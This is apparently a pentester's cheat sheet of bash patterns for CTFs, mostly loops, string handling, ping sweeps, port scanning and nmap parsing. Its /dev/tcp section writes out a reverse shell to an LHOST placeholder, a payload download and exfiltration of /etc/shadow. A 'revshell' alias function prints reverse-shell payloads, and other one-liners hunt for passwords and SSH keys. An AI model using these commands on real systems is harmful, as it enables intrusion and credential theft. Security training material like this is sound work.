← Back to Cheat Sheets
kavklaw@llm ~ /cheatsheets/bash-scripting

kavklaw@llm $ cat bash-scripting.md

Bash Scripting for Pentesters

Essential bash patterns, one-liners, and scripts for CTFs and pentesting.

Loops & Iteration

# For loop — iterate over a range
for i in $(seq 1 254); do echo "10.10.10.$i"; done

# For loop — iterate over a list
for user in admin root guest test; do echo "Trying $user"; done

# For loop — iterate over file lines
while IFS= read -r line; do echo "$line"; done < users.txt

# For loop — C-style
for ((i=1; i<=100; i++)); do echo $i; done

# While loop
i=1; while [ $i -le 10 ]; do echo $i; ((i++)); done

# Infinite loop (useful for polling)
while true; do curl -s http://target/status; sleep 5; done

# Loop over command output
for port in $(cat open_ports.txt); do echo "Scanning $port"; done

# Parallel execution with & and wait
for i in $(seq 1 254); do
  ping -c 1 -W 1 10.10.10.$i &
done
wait

Conditionals

# If/else
if [ -f "/etc/passwd" ]; then
  echo "File exists"
else
  echo "File not found"
fi

# String comparison
if [ "$response" == "200" ]; then echo "OK"; fi
if [[ "$output" == *"root"* ]]; then echo "Contains root"; fi

# Numeric comparison
if [ $port -gt 0 ] && [ $port -lt 65536 ]; then echo "Valid port"; fi

# File tests
[ -f file ]    # File exists and is regular file
[ -d dir ]     # Directory exists
[ -r file ]    # File is readable
[ -w file ]    # File is writable
[ -x file ]    # File is executable
[ -s file ]    # File exists and is not empty

# Command success test
if command -v python3 >/dev/null 2>&1; then
  echo "Python3 available"
fi

# Ternary-style
[ -f /etc/shadow ] && echo "readable" || echo "not readable"

String Manipulation

# Substring extraction
str="admin:password123"
echo ${str%%:*}          # admin (remove from first : to end)
echo ${str#*:}           # password123 (remove up to first :)

# String length
echo ${#str}             # 18

# String replacement
str="Hello World"
echo ${str/World/Hacker} # Hello Hacker
echo ${str,,}            # hello world (lowercase)
echo ${str^^}            # HELLO WORLD (uppercase)

# Default values
echo ${var:-"default"}   # Use "default" if $var is empty
echo ${var:="default"}   # Set $var to "default" if empty

# Split string into array
IFS=':' read -ra parts <<< "user:pass:domain"
echo ${parts[0]}         # user
echo ${parts[1]}         # pass

# Remove whitespace
echo "  hello  " | tr -d ' '
echo "  hello  " | xargs

Ping Sweep One-Liners

# Basic ping sweep
for i in $(seq 1 254); do
  (ping -c 1 -W 1 10.10.10.$i | grep "64 bytes" | cut -d' ' -f4 | tr -d ':' &)
done; wait

# Faster with timeout
for i in $(seq 1 254); do
  timeout 1 ping -c 1 10.10.10.$i >/dev/null 2>&1 && echo "10.10.10.$i is alive" &
done; wait

# Using /dev/tcp (no ping needed)
for i in $(seq 1 254); do
  (echo > /dev/tcp/10.10.10.$i/80) 2>/dev/null && echo "10.10.10.$i:80 open" &
done; wait

# ARP scan alternative (local network)
arp-scan -l 2>/dev/null | grep -E "^[0-9]"

# Scan multiple subnets
for subnet in 10.10.10 10.10.11 192.168.1; do
  for i in $(seq 1 254); do
    (ping -c 1 -W 1 $subnet.$i | grep "64 bytes" &)
  done
done; wait

Port Scanner in Bash

# Simple port scanner using /dev/tcp
#!/bin/bash
TARGET=$1
for port in $(seq 1 1000); do
  (echo > /dev/tcp/$TARGET/$port) 2>/dev/null && echo "[+] Port $port is open" &
done; wait

# Scan specific ports
for port in 21 22 23 25 53 80 110 139 143 443 445 993 995 1433 3306 3389 5432 8080; do
  (echo > /dev/tcp/$TARGET/$port) 2>/dev/null && echo "[+] $port open"
done

# Full 65535 port scan (parallel)
#!/bin/bash
TARGET=$1
echo "[*] Scanning $TARGET..."
for port in $(seq 1 65535); do
  (echo > /dev/tcp/$TARGET/$port) 2>/dev/null && echo "$port" &
done 2>/dev/null | sort -n
wait
echo "[*] Scan complete"

# Top ports scan with banner grab
for port in 21 22 80 443 445 3306 8080; do
  result=$(echo "" | timeout 2 nc -nv $TARGET $port 2>&1)
  if echo "$result" | grep -q "open\|Connected"; then
    echo "[+] $port: $result"
  fi
done

Processing Nmap Output

# Extract open ports from nmap output (comma-separated)
grep -oP '\d+/open' scan.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//'
# Output: 22,80,443,8080

# Extract open ports into variable
PORTS=$(grep -oP '\d+/open' scan.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
echo "Open ports: $PORTS"

# Use extracted ports in next scan
nmap -p $PORTS -sC -sV target

# Find hosts with specific port open
grep "80/open" scan.gnmap | cut -d' ' -f2

# Parse nmap normal output for services
grep "open" scan.nmap | awk '{print $1, $3}'

# Count open ports per host (from gnmap)
grep "Ports:" scan.gnmap | while IFS= read -r line; do
  host=$(echo "$line" | cut -d' ' -f2)
  ports=$(echo "$line" | grep -oP '\d+/open' | wc -l)
  echo "$host: $ports open ports"
done

# Extract version info
grep "open" scan.nmap | awk -F'/' '{print $1}' | while read port; do
  grep -A1 "$port/tcp" scan.nmap
done

# Convert nmap XML to HTML report
xsltproc scan.xml -o scan.html

Automating Enumeration

#!/bin/bash
# auto-enum.sh — Quick enumeration script
TARGET=$1
OUTDIR="enum/$TARGET"
mkdir -p $OUTDIR

echo "[*] Starting enumeration on $TARGET"

# Nmap scan
echo "[*] Running nmap..."
nmap -p- --min-rate 5000 -T4 $TARGET -oA $OUTDIR/allports 2>/dev/null
PORTS=$(grep -oP '\d+/open' $OUTDIR/allports.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')

if [ -z "$PORTS" ]; then
  echo "[-] No open ports found"
  exit 1
fi

echo "[+] Open ports: $PORTS"
nmap -p $PORTS -sC -sV -oA $OUTDIR/detailed $TARGET

# Per-service enumeration
for port in $(echo $PORTS | tr ',' '\n'); do
  case $port in
    21)
      echo "[*] FTP enumeration..."
      nmap --script=ftp-anon -p 21 $TARGET >> $OUTDIR/ftp.txt
      ;;
    80|443|8080|8443)
      echo "[*] Web enumeration on port $port..."
      curl -sI http://$TARGET:$port >> $OUTDIR/web-headers.txt
      gobuster dir -u http://$TARGET:$port -w /usr/share/seclists/Discovery/Web-Content/common.txt -q >> $OUTDIR/gobuster-$port.txt 2>/dev/null &
      ;;
    445)
      echo "[*] SMB enumeration..."
      smbclient -L //$TARGET -N >> $OUTDIR/smb.txt 2>&1
      enum4linux -a $TARGET >> $OUTDIR/enum4linux.txt 2>&1 &
      ;;
    *)
      echo "[*] Port $port — manual review needed"
      ;;
  esac
done

wait
echo "[+] Enumeration complete! Results in $OUTDIR/"

Working with /dev/tcp

# /dev/tcp is a bash built-in (not a real file)
# Syntax: /dev/tcp/HOST/PORT

# Test if port is open
(echo > /dev/tcp/10.10.10.100/80) 2>/dev/null && echo "Open" || echo "Closed"

# Banner grab
exec 3<>/dev/tcp/10.10.10.100/22
cat <&3 &
sleep 1
kill %1 2>/dev/null
exec 3<&-

# Simple HTTP request
exec 3<>/dev/tcp/10.10.10.100/80
echo -e "GET / HTTP/1.1\r\nHost: 10.10.10.100\r\nConnection: close\r\n\r\n" >&3
cat <&3
exec 3<&-

# Download file via HTTP
exec 3<>/dev/tcp/LHOST/80
echo -e "GET /linpeas.sh HTTP/1.0\r\nHost: LHOST\r\n\r\n" >&3
cat <&3 > /tmp/linpeas.sh
exec 3<&-

# Reverse shell using /dev/tcp
bash -i >& /dev/tcp/LHOST/4444 0>&1

# Data exfiltration
exec 3<>/dev/tcp/LHOST/4444
cat /etc/shadow >&3
exec 3<&-

Text Processing (awk/sed/grep/cut)

grep

# Search for pattern
grep "password" file.txt
grep -i "password" file.txt        # Case insensitive
grep -r "password" /var/www/       # Recursive
grep -rn "password" .              # With line numbers
grep -v "comment" file.txt         # Invert match (exclude)
grep -o "http://[^ ]*" file.txt   # Only matching part
grep -c "error" log.txt            # Count matches
grep -E "user|pass|key" file.txt   # Extended regex (OR)
grep -P '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' file.txt  # Perl regex — IPs
grep -l "password" *.conf          # Files containing match

awk

# Print specific columns
awk '{print $1}' file.txt              # First column
awk '{print $1, $3}' file.txt          # First and third
awk -F: '{print $1}' /etc/passwd       # Custom delimiter

# Filter rows
awk '$3 > 1000' /etc/passwd            # Where third field > 1000
awk -F: '$3 == 0 {print $1}' /etc/passwd  # UID 0 users (root)
awk '/pattern/' file.txt               # Lines matching pattern

# Count and sum
awk '{sum += $1} END {print sum}' numbers.txt
awk 'END {print NR}' file.txt         # Count lines

# Nmap output processing
awk '/open/{print $1}' scan.nmap       # Open ports
awk -F/ '/open/{print $1}' scan.nmap   # Port numbers only

# Format output
awk -F: '{printf "%-20s %s\n", $1, $6}' /etc/passwd

sed

# Replace text
sed 's/old/new/' file.txt              # First occurrence per line
sed 's/old/new/g' file.txt             # All occurrences
sed -i 's/old/new/g' file.txt          # In-place edit

# Delete lines
sed '/pattern/d' file.txt              # Delete matching lines
sed '1d' file.txt                      # Delete first line
sed '$d' file.txt                      # Delete last line

# Insert/append
sed '1i\Header line' file.txt          # Insert before line 1
sed '$a\Footer line' file.txt          # Append after last line

# Extract between patterns
sed -n '/START/,/END/p' file.txt

# Remove HTML tags
sed 's/<[^>]*>//g' page.html

# Remove blank lines
sed '/^$/d' file.txt

# Multiple operations
sed -e 's/foo/bar/g' -e 's/baz/qux/g' file.txt

cut

# Cut by delimiter
cut -d: -f1 /etc/passwd               # Username from passwd
cut -d: -f1,3 /etc/passwd             # Username and UID
cut -d' ' -f2 file.txt                # Second space-delimited field

# Cut by character position
cut -c1-10 file.txt                    # First 10 characters
cut -c5- file.txt                      # From character 5 to end

# Combine with other tools
cat /etc/passwd | cut -d: -f1 | sort   # Sorted usernames

sort, uniq, tr, wc

# Sort
sort file.txt                          # Alphabetical
sort -n file.txt                       # Numeric
sort -u file.txt                       # Unique only
sort -t: -k3 -n /etc/passwd           # Sort by UID

# Unique
sort file.txt | uniq                   # Remove duplicates
sort file.txt | uniq -c | sort -rn     # Count occurrences

# Translate/delete characters
tr 'a-z' 'A-Z' < file.txt            # To uppercase
tr -d '\r' < windows.txt              # Remove carriage returns
tr -s ' ' < file.txt                  # Squeeze spaces
echo "hello" | tr 'a-z' 'n-za-m'     # ROT13

# Word/line/character count
wc -l file.txt                         # Line count
wc -w file.txt                         # Word count
wc -c file.txt                         # Byte count

Useful One-Liners for CTFs

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Find writable directories
find / -writable -type d 2>/dev/null

# Find files modified in last 5 minutes
find / -mmin -5 -type f 2>/dev/null

# Find files owned by specific user
find / -user admin -type f 2>/dev/null

# Find all config files
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null

# Grep for passwords in common locations
grep -rn "password\|passwd\|pwd\|secret\|key" /var/www/ 2>/dev/null
grep -rn "password\|passwd\|pwd" /etc/ 2>/dev/null
grep -rn "password" /opt/ /home/ 2>/dev/null

# Find all SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "authorized_keys" 2>/dev/null

# Process running services
ps aux | grep -v grep | awk '{print $11}' | sort -u

# Internal network discovery
ip a | grep "inet " | awk '{print $2}'
cat /etc/hosts
cat /etc/resolv.conf
ss -tlnp
netstat -tlnp

# Base64 decode
echo "encoded_string" | base64 -d

# Hex decode
echo "48656c6c6f" | xxd -r -p

# URL decode
python3 -c "import urllib.parse; print(urllib.parse.unquote('hello%20world'))"

# Generate wordlist from website
cewl http://target -w wordlist.txt

# Quick web server for file transfer
python3 -m http.server 80

Useful Aliases & .bashrc Setup

# Add to ~/.bashrc for pentesting

# Target management
export TARGET=""    # Set at start of each box
alias settarget='export TARGET=$1 && echo "Target: $TARGET"'

# Quick scanning
alias quickscan='sudo nmap -p- --min-rate 5000 -T4 $TARGET -oA nmap/allports'
alias deepscan='sudo nmap -p $(cat nmap/allports.gnmap | grep -oP "\d+/open" | cut -d"/" -f1 | tr "\n" "," | sed "s/,$//") -sC -sV -oA nmap/detailed $TARGET'

# Web enumeration
alias gobust='gobuster dir -u http://$TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50'
alias ffufdir='ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -fc 404'

# File transfer
alias serve='python3 -m http.server 80'
alias uploadserve='python3 -m uploadserver 80'

# Listeners
alias listen='rlwrap nc -lvnp'
alias listen4444='rlwrap nc -lvnp 4444'

# Common paths
alias seclist='ls /usr/share/seclists/'
alias rockyou='echo /usr/share/wordlists/rockyou.txt'

# Create working directory for a box
mkbox() {
  mkdir -p "$1"/{nmap,loot,exploit,www}
  cd "$1"
  export TARGET=""
  echo "Box directory created: $1"
  echo "Set target: export TARGET=x.x.x.x"
}

# Quick extract open ports from nmap gnmap
getports() {
  grep -oP '\d+/open' "$1" | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//'
}

# Generate reverse shell payload
revshell() {
  local ip=$1 port=$2
  echo "bash -i >& /dev/tcp/$ip/$port 0>&1"
  echo ""
  echo "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"$ip\",$port));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")'"
}

Script Template

#!/bin/bash
# script-name.sh — Description
# Usage: ./script-name.sh <target>

set -euo pipefail    # Exit on error, undefined var, pipe fail

# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

# Functions
info()  { echo -e "${GREEN}[+]${NC} $1"; }
warn()  { echo -e "${YELLOW}[!]${NC} $1"; }
error() { echo -e "${RED}[-]${NC} $1"; }

# Argument check
if [ $# -lt 1 ]; then
  error "Usage: $0 <target>"
  exit 1
fi

TARGET=$1

# Main logic
info "Starting on $TARGET..."

# ... your code here ...

info "Done!"